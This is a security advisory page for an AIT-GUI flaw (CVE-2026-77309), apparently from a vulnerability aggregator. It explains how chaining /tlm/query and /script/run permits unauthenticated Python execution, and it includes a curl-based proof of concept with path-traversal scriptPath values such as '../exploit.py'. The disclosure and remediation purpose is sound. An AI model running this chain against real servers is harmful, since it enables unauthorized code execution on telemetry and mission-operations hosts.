CVE-2026-77309: AIT-GUI route chain allows unauthenticated Python execution in server process

Published Nov 20, 2026
·
Updated

Summary A security issue exists where unauthenticated callers can instruct the AIT-GUI server to execute arbitrary Python scripts. The attack vector involves obtaining a session cookie through GET /, followed by a malicious POST /script/run request containing an absolute file path that bypasses the configured script directory restrictions.

Patches 2.5.1

Impact This vulnerability allows unauthenticated remote code execution on the AIT-GUI server. Any attacker with network access can execute arbitrary Python code with daemon privileges.

Details Chain: 1. POST /tlm/query writes the user-controlled fields value into fieldsin.txt under the AIT-GUI static directory. If the supplied dataDir has no .pcap files, the route returns the expected 400 Bad Request before deleting that file. 2. POST /script/run accepts scriptPath=../static/fieldsin.txt. AIT-GUI reads that file and runs it as Python.

Relevant code: - ait/gui/init.py:930,935,942-944: /tlm/query writes fields to fieldsin.txt. - ait/gui/init.py:952-958,978: the no-PCAP error path aborts before cleanup. - ait/gui/init.py:1130-1136: /script/run joins scriptPath with ScriptRoot and only checks that the path exists. - ait/gui/init.py:1186-1191: the selected file is read and executed as Python. - ait/gui/init.py:1105-1108: nearby /scripts/load/<name> has a path containment check, but /script/run does not.

Fix Information Restricted script execution paths and avoided using static temp files.

PoC 1. POST /tlm/query writes the user-controlled fields value into fieldsin.txt under the AIT-GUI static directory. If the supplied dataDir has no .pcap files, the route returns the expected 400 Bad Request before deleting that file. Remove file to ensure nothing exists AIT-GUI % rm <path>/fieldsin.txt

With server started, send POST request to /tlm/query endpoint AIT-GUI % curl -X POST http://localhost:8080/tlm/query \ -d "dataDir=<path>" \ -d "timeField=time" \ -d "packet=CCSDSHEADER" \ -d "fields=field1,field2,field3" \ -d "startTime=2026-07-01T00:00:00" \ -d "endTime=2026-07-10T00:00:00" \ -o queryout.csv % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 925 100 782 100 143 34798 6363 --:--:-- --:--:-- --:--:-- 42045

AIT-server log verify that PCAP file cannot be found: 2026-07-10T11:46:37.873 | ERROR | Unable to locate PCAP files for query given data directory <path>

Verify file is created and not cleaned up AIT-GUI % cat <path>/fieldsin.txt field1 field2 field3 2. POST /script/run accepts scriptPath=../static/fieldsin.txt. AIT-GUI reads that file and runs it as Python.

Generate session cookie curl -c cookies.txt -v http://localhost:8080/ -o /dev/null

Execute example script which currently exists in configured scripts.directory in config.yaml (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % cat config.yaml | grep script script: directory: ./scripts

(venv) AIT-GUI-ghsa-jrjx-9jjw-747m % ls scripts examplescript.py

Create exploit script "exploit.py" outside of configured location (venv) scripts % ls ../exploit.py ../exploit.py

Perform request to examplescript.py. This script prints 'correct' (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=examplescript.py" -b cookies.txt

Perform request to exploit.py, which exists outside of configured location. This script prints 'exploited' (venv) AIT-GUI-ghsa-jrjx-9jjw-747m % curl -X POST http://localhost:8080/script/run -d "scriptPath=../exploit.py" -b cookies.txt

Verify in server logs that correct and exploit print 2026-07-10T13:46:41.441 | INFO | Starting broker... correct ... exploited

Additional Notes

- Python code execution in the AIT-GUI server process. - The demo is localhost only (127.0.0.1) and proves the issue against AIT-GUI 2.5.0. - The tested AIT-GUI source binds the web server to 0.0.0.0, so in a deployment where another host can reach the AIT-GUI HTTP port, this becomes code execution from that network position. - No login credentials or privileged account were required in the tested flow. The PoC only used the normal sid cookie created by GET /. In my local demo, the payload ran as my normal user (uid=1000), not root. - aitguitlmqueryscriptrunrceliveserver.py - ait-gui-tlm-query-script-run-rce.patch - https://github.com/user-attachments/assets/a188aaa3-783a-4bb0-ab9a-6541f939a26a

Other sources

AIT GUI provides a framework for building custom websites for real-time telemetry monitoring, commanding, and other mission operations. From 1.0.0 until 2.5.1, POST /tlm/query in ait/gui/init.py writes attacker-controlled field data to fieldsin.txt, and its no-PCAP error path can abort before deleting that file. The unauthenticated POST /script/run route accepts a scriptPath that resolves outside ScriptRoot, reads the selected file, and executes it as Python. A network-reachable attacker can obtain the ordinary session cookie without credentials, combine the two routes, and execute arbitrary Python code with the AIT-GUI server process privileges. This issue is fixed in version 2.5.1.

— MITRE

Affected Software

3 affected componentsFixes available
nasa AIT-GUI>=1.0.0<2.5.1
pip/ait-gui>=1.0.0<=2.5.0
2.5.1
pip/ait-gui>=1.0.0<2.5.1
2.5.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.5.1

Event History

Nov 20, 2026
CVE Published
via MITRE·05:50 PM
Data Sourced
via MITRE·05:50 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:18 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·11:36 PM
Data Sourced
via GitHub·11:36 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via OSV·11:36 PM
Affected Software

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203